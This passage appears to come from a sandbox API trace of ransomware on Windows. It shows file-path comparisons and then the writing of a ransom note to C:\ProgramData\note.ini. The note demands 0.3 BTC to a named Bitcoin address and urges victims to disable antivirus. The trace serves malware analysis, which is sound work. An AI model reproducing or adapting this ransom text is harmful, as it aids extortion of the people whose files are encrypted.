Maker\\Shared\\Filters.xml") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0175.498] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0175.499] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\logo.png") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\gadget.xml") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0175.500] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0175.501] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\month.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\drag.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\icon.png") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\clock.css") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0175.502] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0175.503] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0175.503] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0175.503] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\settings.css") returned 1 [0175.503] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0175.503] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0175.503] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png") returned 1 [0175.503] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0175.503] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0175.503] lstrcmpiA (lpString1="C:\\ProgramData\\note.ini", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_h.png") returned 1 [0175.503] CreateFileA (lpFileName="C:\\ProgramData\\note.ini" (normalized: "c:\\programdata\\note.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ec38, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x774 [0175.505] GetFileType (hFile=0x774) returned 0x1 [0175.505] IMalloc:Alloc (This=0x767666bc, cb=0x253) returned 0x53a6450 [0175.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n\r\n\r\nSend 0.3 BTC to; \r\n1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchWideChar=1666, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1666 [0175.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n\r\n\r\nSend 0.3 BTC to; \r\n1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchWideChar=1666, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1666 [0175.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n\r\n\r\nSend 0.3 BTC to; \r\n1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchWideChar=1666, lpMultiByteStr=0x53a66b4, cbMultiByte=1666, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n\r\n\r\nSend 0.3 BTC to; \r\n1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpUsedDefaultChar=0x0) returned 1666 [0175.505] WriteFile (in: hFile=0x774, lpBuffer=0x53a6488*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x18e7d4, lpOverlapped=0x0 | out: lpBuffer=0x53a6488*, lpNumberOfBytesWritten=0x18e7d4*=0x200, lpOverlapped=0x0) returned 1 [0175.506] WriteFile (in: hFile=0x774, lpBuffer=0x53a68b4*, nNumberOfBytesToWrite=0x482, lpNumberOfBytesWritten=0x18e7d4, lpOverlapped=0x0 | out: lpBuffer=0x53a68b4*, lpNumberOfBytesWritten=0x18e7d4*=0x482, lpOverlapped=0x0) returned 1 [0175.507] CloseHandle (hObject=0x774) returned 1 [0175.511] IMalloc:Free (This=0x767666bc, pv=0x53a6450) [0175.512] WshShell:IUnknown:Release (This=0x39fe18) returned 0x0 [0175.513] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xd8) returned 0x383eb60 [0175.513] GetCurrentThreadId () returned 0x9ec [0175.513] GetCurrentThreadId () returned 0x9ec [0175.513] GetCurrentThreadId () returned 0x9ec [0175.513] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x383ec58 [0175.513] GetParent (hWnd=0x7011a) returned 0x30268 [0175.514] GetParent (hWnd=0x7011a) returned 0x30268 [0175.514] MonitorFromWindow (hwnd=0x7011a, dwFlags=0x2) returned 0x10001 [0175.514] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18ebfc | out: lpmi=0x18ebfc) returned 1 [0175.514] GetParent (hWnd=0x7011a) returned 0x30268 [0175.514] GetWindowRect (in: hWnd=0x7011a, lpRect=0x18ebfc | out: lpRect=0x18ebfc) returned 1 [0175.514] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18ebfc, cPoints=0x2 | out: lpPoints=0x18ebfc) returned -10092677 [0175.514] MoveWindow (hWnd=0x7011a, X=144, Y=16, nWidth=1440, nHeight=16, bRepaint=1) returned 1 [0175.514] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x46, wParam=0x0, lParam=0x18eb98) returned 0x0 [0175.514] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x83, wParam=0x1, lParam=0x18eb70) returned 0x0 [0175.515] GetParent (hWnd=0x7011a) returned 0x30268 [0175.515] GetWindowRect (in: hWnd=0x7011a, lpRect=0x18e900 | out: lpRect=0x18e900) returned 1 [0175.515] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30268, lpPoints=0x18e900, cPoints=0x2 | out: lpPoints=0x18e900) returned -10092677 [0175.515] NtdllDefWindowProc_A (hWnd=0x7011a, Msg=0x47, wParam=0x0, lParam=0x18eb98) returned 0x0 [0175.515] NtdllDefWindowProc_A 